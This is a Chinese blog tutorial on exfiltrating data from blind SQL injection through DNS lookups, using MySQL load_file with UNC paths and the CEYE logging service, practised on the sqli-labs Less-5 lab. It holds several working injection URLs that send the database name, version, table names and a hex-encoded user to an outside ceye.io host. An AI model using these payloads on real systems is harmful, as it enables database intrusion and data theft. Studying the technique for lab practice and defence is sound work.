SQL注入奇淫技巧——利用dnslog获取看不到的信息

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 对于sql盲注,常用的方法应该是二分法了,为此之前还写过通过二分法猜解的半自动化python脚本,说实话,python甲苯比起手动真的已经是好多了,可是我内心其实还是挺怵写脚本的,而且这种脚本二分法猜解发送的请求频繁麻烦不说,还容易被waf检测到,以至于ip被封。

对于sql盲注,常用的方法应该是二分法了,为此之前还写过通过二分法猜解的半自动化python脚本,说实话,python甲苯比起手动真的已经是好多了,可是我内心其实还是挺怵写脚本的,而且这种脚本二分法猜解发送的请求频繁麻烦不说,还容易被waf检测到,以至于ip被封。于是最近学习了一种sql盲注的奇淫技巧。

step1. 介绍CEYE平台
  • 点击进去注册一个帐号,这个平台应该是知道创宇的,因为之前注册过,所以这我直接登录即可,大家注册完毕应该和我一样如下图所示:
1.png
  • 注册完之后会自动的在一级域名ceye.io下分配一个二级域名如xxxxx.ceye.io

一级域名是要钱的也是人家的,二级域名就不要钱了,你注册一个帐号,它可以给你分配一个二级域名,这个大家应该知道吧,给大家提点一下,希望有助于大家理解.

  • 在这儿,我只给大家简单说一下,这个平台注册完之后你可以理解其为自己的一台dns服务器吧,当你访问你的域名或者有HTTP请求时候,这个地方会记录你访问的日志,要是不明白看如下图示:
2.png
  • 下面通过一个简单操作,再次有助大家理解

比如浏览器访问http://zzqsmile.xxxxx.ceye.io/,如下图所示:

3.png
  • 然后回头看CEYE,记得reload刷新一下
4.png

此时我相信你已经理解这个平台的作用了吧,其实就是一个dns解析服务器,只不过只能访问xxxxx.ceye.io及其子域名,才会产生dns日志而已。其他的暂不解释,接着我们今天要将的SQL盲注奇淫技巧。

step2. load_file(filename)函数

相信学习过通过sql注入读写服务器文件的对这个函数应该不陌生,在这我再简单提一下这个函数的作用。

  • load_file(filename)读取文件并返回文件内容为字符串.使用此函数需要满足以下条件: (1).所读文件必须在服务器上,且必须指定文件其绝对路径 (2).连接当前数据库用户必须有FILE权限 (3).文件内容必须小于max_allowed_packet。

  • 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

实际上load_file()函数还可以用来发送dns解析请求,接下来就实际尝试一下。

5.png
  • 利用的payload是load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))
    database()就是要做sql注入查询的地方。
    concat是字符串拼接
    后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥

上面拼接的结果就是'\\\\ schema_name.XXXX.ceye.io\\abc',其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了

step3. sqli-labs靶场练习
  • sqli-labs/第五关就是sql盲注,就拿这个来练习一下今天学的这个奇淫技巧吧。
    payload: ?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+

  • 获取当前数据库

http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
  • 获取数据库版本
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select version()),'.xxxxx.ceye.io\\abc'))),1,1)--+
6.png

-获取数据库security中的表

http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
7.png

值得说的是,这种方法不能同时查询多个结果,因此需要使用limit来控制每次查询一条结果。

  • 当然此时有人可能疑问到底有多少张表呢?没错使用count(),我尝试一下是可以查询到有几张表的。如下所示:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema='security'),'.xxxxx.ceye.io\\abc'))),1,1)--+
8.png
  • 同理查询字段也类似而已,但是经本人测试,查询user()时候就没查询出来。这是为什么呢? 因为select user()查询到的是root@localhost这样在url里面就变成了http://root@localhost.xxxxx.ceye.io/,显然这样的url不是我们想要的,因为里面有特殊字符@,这样访问的时候就会将root当成用户名,来访问localhost.xxxxx.ceye.io/站点,这点不懂的需要去了解一下URL的组成。正如下图所示:
图片.png

那么现在明白为什么查询user()查询不到了吧,而我现在找到的解决办法是将查询的结果通过base64编码输出出来,但是这个需要mysql版本大于5.6.1才能使用to_base64()编码函数,而我现在的数据库版本是5.5.53,无奈再次就不再演示了,顺便在说下base64解码函数from_base64()

  • 至于mysql版本小于5.6.1就没办法了吗?我现在能想到的就是先查询字符串结果的长度,然后通过一个一个拆分,将其ascii编码,然后查询到我们在解码,最后拼接得到结果。虽然麻烦,还好一般字符串不会太长。以后有时间有更好的方法再分享吧。

  • 之前说使用dnslog查询的有的内容是不能带入URL的,后来也没想到办法,但是后来有想到可以将查询到的内容进行hex()十六进制编码再带进URL里面访问,这样我们就能在dnslog里面看到我们查询到的信息了,不过看到的是十六进制编码内容,我们在将其解码即可。

  • 下面一个简单的例子学习以下这个姿势

图片.png
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.k3i80p.ceye.io\\abc'))),1,1)--+
图片.png

将查询数据hex()解密一下看看,nice,没错是root@locakhost

图片.png

好了,今天的奇淫技巧就到这,大家没事也可以尝试尝试,总结总结,不过友情提示:今天这个奇淫技巧对与window服务器是没问题的,但是Linux服务器貌似不行,至于是什么原因,好像是由于unc的缘故,大家可以去Google或者百度一下unc,笔者有时间也会再去深入研究其原因和其局限性,到时候再更新补充吧。

目录
相关文章
|
4月前
|
XML SQL 数据格式
XML动态sql查询当前时间之前的信息报错
XML动态sql查询当前时间之前的信息报错
58 2
|
1月前
|
SQL Java
使用java在未知表字段情况下通过sql查询信息
使用java在未知表字段情况下通过sql查询信息
38 8
|
1月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
59 2
|
1月前
|
SQL 监控 关系型数据库
SQL语句当前及历史信息查询-performance schema的使用
本文介绍了如何使用MySQL的Performance Schema来获取SQL语句的当前和历史执行信息。Performance Schema默认在MySQL 8.0中启用,可以通过查询相关表来获取详细的SQL执行信息,包括当前执行的SQL、历史执行记录和统计汇总信息,从而快速定位和解决性能瓶颈。
|
3月前
|
SQL Java
使用java在未知表字段情况下通过sql查询信息
使用java在未知表字段情况下通过sql查询信息
41 1
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
143 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
86 5
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
132 1
|
3月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
63 1
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
58 3